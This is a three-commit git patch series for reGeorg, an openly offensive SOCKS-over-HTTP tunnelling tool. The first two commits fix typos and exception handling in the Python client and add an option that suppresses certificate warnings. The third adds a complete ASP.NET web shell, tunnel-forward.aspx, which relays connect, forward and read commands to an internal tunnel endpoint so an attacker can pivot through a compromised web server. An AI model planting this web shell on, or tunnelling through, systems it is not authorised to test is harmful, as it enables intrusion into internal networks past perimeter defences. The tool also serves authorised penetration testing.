From cd79dc334dec82aed79fc8cd8778472739e692f8 Mon Sep 17 00:00:00 2001 From: bao7uo <21125224+bao7uo@users.noreply.github.com> Date: Thu, 25 Jan 2018 09:26:06 +0000 Subject: [PATCH 1/3] Twitter update, Typo, Allow suppression of InsecureRequestWarning --- reGeorgSocksProxy.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/reGeorgSocksProxy.py b/reGeorgSocksProxy.py index 86647f9..0e0922e 100644 --- a/reGeorgSocksProxy.py +++ b/reGeorgSocksProxy.py @@ -392,7 +392,7 @@ def askGeorg(connectString): willem@sensepost.com / @_w_m__ sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad + etienne@sensepost.com / @_staaldraad \033[0m """ log.setLevel(logging.DEBUG) @@ -402,12 +402,17 @@ def askGeorg(connectString): parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST", type=int, default="1024") parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script") parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO") + parser.add_argument("-c", "--cert-warn-disable", help="Prevent InsecureRequestWarning messages", action='store_true', default="false") args = parser.parse_args() if (args.verbose in LEVEL): log.setLevel(LEVEL[args.verbose]) log.info("Log Level set to [%s]" % args.verbose) log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url)) + + if args.cert_warn_disable is True: + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + log.info("Certificate warnings (InsecureRequestWarning) disabled") log.info("Checking if Georg is ready") if not askGeorg(args.url): log.info("Georg is not ready, please check url") @@ -421,7 +426,7 @@ def askGeorg(connectString): try: sock, addr_info = servSock.accept() sock.settimeout(SOCKTIMEOUT) - log.debug("Incomming connection") + log.debug("Incoming connection") session(sock, args.url).start() except KeyboardInterrupt, ex: break From 995b8529617dfae3034a93412bd37feebe0585a9 Mon Sep 17 00:00:00 2001 From: bao7uo <21125224+bao7uo@users.noreply.github.com> Date: Thu, 25 Jan 2018 09:51:08 +0000 Subject: [PATCH 2/3] Typos, Avoid catching keyboard interrupts --- reGeorgSocksProxy.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/reGeorgSocksProxy.py b/reGeorgSocksProxy.py index 0e0922e..8cb182c 100644 --- a/reGeorgSocksProxy.py +++ b/reGeorgSocksProxy.py @@ -120,7 +120,7 @@ def __init__(self, pSocket, connectString): o = urlparse(connectString) try: self.httpPort = o.port - except: + except StandardError: if o.scheme == "https": self.httpPort = 443 else: @@ -171,7 +171,7 @@ def parseSocks5(self, sock): serverIp = target try: serverIp = gethostbyname(target) - except: + except StandardError: log.error("oeps") serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target, targetPort) @@ -196,7 +196,7 @@ def parseSocks4(self, sock): serverIp = target try: serverIp = gethostbyname(target) - except: + except StandardError: log.error("oeps") serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target, targetPort) @@ -268,7 +268,7 @@ def reader(self): try: if response.getheader("server").find("Apache-Coyote/1.1") > 0: data = data[:len(data) - 1] - except: + except StandardError: pass if data is None: data = "" @@ -285,13 +285,13 @@ def reader(self): continue transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data))) self.pSocket.send(data) - except Exception, ex: + except StandardError, ex: raise ex self.closeRemoteSession() log.debug("[%s:%d] Closing localsocket" % (self.target, self.port)) try: self.pSocket.close() - except: + except StandardError: log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port)) def writer(self): @@ -319,23 +319,23 @@ def writer(self): transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data))) except timeout: continue - except Exception, ex: + except StandardError, ex: raise ex break self.closeRemoteSession() log.debug("Closing localsocket") try: self.pSocket.close() - except: + except StandardError: log.debug("Localsocket already closed") def run(self): try: if self.handleSocks(self.pSocket): - log.debug("Staring reader") + log.debug("Starting reader") r = Thread(target=self.reader, args=()) r.start() - log.debug("Staring writer") + log.debug("Starting writer") w = Thread(target=self.writer, args=()) w.start() r.join() @@ -346,7 +346,7 @@ def run(self): except SocksProtocolNotImplemented, spi: log.error(spi.message) self.pSocket.close() - except Exception, e: + except StandardError, e: log.error(e.message) self.closeRemoteSession() self.pSocket.close() @@ -357,7 +357,7 @@ def askGeorg(connectString): o = urlparse(connectString) try: httpPort = o.port - except: + except StandardError: if o.scheme == "https": httpPort = 443 else: @@ -430,6 +430,6 @@ def askGeorg(connectString): session(sock, args.url).start() except KeyboardInterrupt, ex: break - except Exception, e: + except StandardError, e: log.error(e) servSock.close() From d6e489943fe17f3818d19677b1bd7f34fe032224 Mon Sep 17 00:00:00 2001 From: bao7uo <21125224+bao7uo@users.noreply.github.com> Date: Thu, 25 Jan 2018 09:57:38 +0000 Subject: [PATCH 3/3] Adding tunnel-forward.aspx from https://github.com/after1990s/reGeorg --- tunnel-forward.aspx | 116 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 tunnel-forward.aspx diff --git a/tunnel-forward.aspx b/tunnel-forward.aspx new file mode 100644 index 0000000..2140c7c --- /dev/null +++ b/tunnel-forward.aspx @@ -0,0 +1,116 @@ +<%@ Page Language="C#" EnableSessionState="True"%> +<%@ Import Namespace="System.Net" %> +<%@ Import Namespace="System.Net.Sockets" %> +<%@ Import Namespace="System.IO" %> +<% + string forwardURL = "http://127.0.0.1/tunnel.aspx"; + try + { + if (Request.HttpMethod == "POST") + { + + //获得post参数,写入forward + string cmd = Request.QueryString.Get("cmd").ToUpper(); + string cmdString = string.Format("cmd={0}", cmd); + CookieContainer cookieContainer; + if (cmd == "CONNECT") + { + String target = Request.QueryString.Get("target").ToUpper(); + //Request.Headers.Get("X-TARGET"); + int port = int.Parse(Request.QueryString.Get("port")); + cmdString = string.Format("cmd={0}&target={1}&port={2}", cmd, target, port); + cookieContainer = new CookieContainer(); + Session.Add("cookieContainer", cookieContainer); + } + else + { + cookieContainer = (CookieContainer)Session["cookieContainer"]; + } + if (cmdString != "") + { + forwardURL = forwardURL + "?" + cmdString; + } + HttpWebRequest forwardRequest = WebRequest.Create(forwardURL) as HttpWebRequest; + forwardRequest.Method = "POST"; + forwardRequest.ContentType = Request.ContentType; + forwardRequest.CookieContainer = cookieContainer; + forwardRequest.KeepAlive = true; + //forwardRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1"; + //forwardRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + //获得其他header,没有其他header. + + //获得数据长度 + + forwardRequest.ContentLength = Request.ContentLength; + Response.AddHeader("X-STATUS", "OK"); + if (cmd == "FORWARD"){ + Stream requestWriter = (forwardRequest.GetRequestStream()); + //写入其他数据 + int buffLen = Request.ContentLength; + if (buffLen > 0){ + byte[] buff = new byte[buffLen]; + int c = 0; + while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0) + { + byte[] newBuff = new byte[c]; + //Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c); + System.Buffer.BlockCopy(buff, 0, newBuff, 0, c); + requestWriter.Write(newBuff, 0, c); + } + //requestWriter.Close(); + } + HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse(); + } + + if (cmd == "CONNECT") + { + HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse(); + foreach (Cookie cook in response.Cookies) + { + cookieContainer.Add(cook); + } + } + if (cmd == "DISCONNECT") + { + HttpWebResponse response = (HttpWebResponse) forwardRequest.GetResponse(); + Session.Abandon(); + } + //读取数据并返回 + if (cmd == "READ") + { + + try{ + MemoryStream ms = new MemoryStream(); + Stream st = forwardRequest.GetResponse().GetResponseStream(); + byte[] buff = new byte[512]; + int read = 0; + while ((read = st.Read(buff, 0, buff.Length)) > 0) + { + byte[] newBuff = new byte[read]; + //Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c); + System.Buffer.BlockCopy(buff, 0, newBuff, 0, read); + Response.BinaryWrite(newBuff); + } + + } + catch (Exception ex) + { + Response.AddHeader("X-ERROR", ex.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } + + } + //读取到0字节? + } + else + { + Response.Write("Georg says, 'All seems fine'"); + } + } + catch (Exception e) + { + Response.AddHeader("X-ERROR", e.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } +%> +